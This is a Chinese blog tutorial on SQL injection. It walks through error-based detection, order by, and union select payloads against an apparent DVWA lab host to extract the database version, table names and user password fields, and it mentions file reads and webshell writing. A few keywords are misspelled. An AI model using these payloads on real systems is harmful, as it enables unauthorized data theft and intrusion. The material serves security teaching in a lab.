详细的SQL注入基础到union注入获取密码实战

SQL注入原理
参数用户可控:从前端传给后端的参数内容是用户可以控制的参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询,当用户传入参数为1'的时候在数据库执行如下方所示。字符型注入原理当我在用户可控处输入' 时SQL会报错说明可能存在SQL注入

正确的整形SQL查询语句:select * FROM users where id=1
错误的整形SQL查询语句:select * FROM userswhere id=1'

正确的字符查询:select * FROM users where id='1'
错误的字符查询:select * FROM users where id='1''

使用and与运算进行判断SQL注入当用户传入参数为1 and 1=1
(1)因为1=1 为真 id=1 也是为真,没毛病当and两边都为真时,页面会返回id=1 的结果(2)因为 1=2 为假 id=1为真 当两边有一个为假,页面才会返回与id=1不一样的结果,如下:SQL语句:select * FROM users where id=1 and 1=1
SQL语句:select * FROM users where id=1 and 1=2

SQL有三种注释符:-- , /* */ , #

SQL注入流程:是否存在注入(和判断注入类型)->判断字段数: oorder by -> 确定回显点:unin select1,2 ->查询数据库信息:@@version -> 查询用户名,数据库名:user() database() -> 文件读取:union select 1,load_file(‘C:\\woondws\\win.ini’)# -> 写入webshell

注意:使用 sql 注入遇到转义字符串的单引号或者双引号,可使用HEX编码绕过注入数据类型:int 整型: select * from users where id=1 sting
字符型: select * from users where username='admin' like
int 整型: select * from users where id=1 sting
搜索型: select * from news where title like '%标题%'

这样就可以让攻击者判断是否存在注入,可以接着拼接SQL攻击语句或者使用扫描器如:sqlmap进行注入,获取服务器信息和权限。

union联合查询原理
(1)#order by判断字段多少
SELECT * FROM users WHERE user_id=1 ORDER BY 8  

(2)# union select 1,…判断字段多少
SELECT * FROM users where user_id=1 union SELECT 1,2,3,4,5,6,7,8

(3)# 查询guestbook表,条件 comment_id=null(null和-1表示显示第一行),union select database(将字段提替换成函数如:database(),user(),version()

select * from guestbook WHERE comment_id=null union select database(),user(),version()

(4)#查询guestbook表,union select查询(该三个字段:1,user,password)users里面的

select * from guestbook WHERE comment_id=null UNION SELECT 1,user,password from users

如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上limit 1 限定SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1

union联合注入攻击

(1)判断SQL注入如下靶场判断,当我输入1还有1’and ‘1’=’1时则显示出账号密码

当我输入:1‘和1’and ‘1’=’1’时则报错
原因是当1‘和1’and ‘1’=’1’传入SQL语句拼接是导致SQL语句错误

正确SQL语句:SELECT first_name, last_name FROM users WHERE user_id = '1';错误SQL语句:SELECT first_name, last_name FROM users WHERE user_id = '1’';

(2)判断字段数现在已经判断出可能存在字符型注入,接下来就要进行判断字段数了通过判断只有字段数为2是在返回页面正常注意:在url中注释符是使用:--+(+号代表空格)

(3)联合查询注入获取敏感信息已经得知字段数为2,接下来准备注入确证字段是否可行
http://192.168.0.115/01/vulnerabilities/sqli/?id=-'union select 1,2--+&Submit=Submit#
返回结果正常:

将字段改成其它的如:MD5(1),database()等等
http://192.168.0.115/01/vulnerabilities/sqli/?id=-'union select 1,md5(1)--+&Submit=Submit#
返回结果:
获取数据库版本:version()
http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,version()--+&Submit=Submit#

获取当前库:database()

http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,database()--+&Submit=Submit#


获取当前用户:user()

http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,user()--+&Submit=Submit#

使用:group_concat()将其它函数一起使用在,后加上:0x3a可以变成;

http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,group_concat(database(),user(),version())--+&Submit=Submit#

(4)通过联合查询注入通过 information_schema获取表
在黑盒情况下不知道当前数据库有什么表的可以通过MySQL自带的
information_schema 查询当前的表
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个1 改成2 就是第二个如此类推主要使用子查询:

(select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1)http://192.168.0.115/01/vulnerabilities/sqli/?id=-1' union select 1,(select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1)--+&Submit=Submit#

(5)通过联合查询表里的内容

获取内容子查询:
(select group_concat(user,0x3a,password) from users limit 1)


当然SQL注入不止只有联合查询还有很多种注入方式呢大家可以一起讨论。
总结:本次注意是带领不理解SQL注入的同学们理解SQL注入原理和攻击,下期会发有关渗透测试和漏洞挖掘的文章。声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果。————————————————
      本关注公众号“重生者安全团队”
回复:【SQL注入语句】获取下载链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值